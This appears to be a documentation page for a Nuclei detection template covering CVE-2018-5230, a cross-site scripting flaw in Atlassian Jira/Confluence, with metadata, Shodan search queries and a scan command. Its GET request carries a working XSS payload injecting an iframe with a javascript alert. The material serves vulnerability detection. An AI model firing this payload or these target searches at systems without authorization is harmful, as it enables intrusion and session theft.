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Atlassian Jira Confluence - Cross-Site Scripting

ID: CVE-2018-5230

Severity: medium

Author: madrobot

Tags: cve,cve2018,atlassian,confluence,xss

Description

Section titled “Description”

Atlassian Jira Confluence before version 7.6.6, from version 7.7.0 before version 7.7.4, from version 7.8.0 before version 7.8.4, and from version 7.9.0 before version 7.9.2, allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the error message of custom fields when an invalid value is specified.

YAML Source

Section titled “YAML Source”
id: CVE-2018-5230


info:
  name: Atlassian Jira Confluence - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    Atlassian Jira Confluence before version 7.6.6, from version 7.7.0 before version 7.7.4, from version 7.8.0 before version 7.8.4, and from version 7.9.0 before version 7.9.2, allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the error message of custom fields when an invalid value is specified.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-67289
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5230
    - https://github.com/sushantdhopat/JIRA_testing
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/Faizee-Asad/JIRA-Vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5230
    cwe-id: CWE-79
    epss-score: 0.00153
    epss-percentile: 0.51584
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2018,atlassian,confluence,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iframe src="javascript:alert(document.domain)">'
          - 'confluence'
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-5230.yaml"

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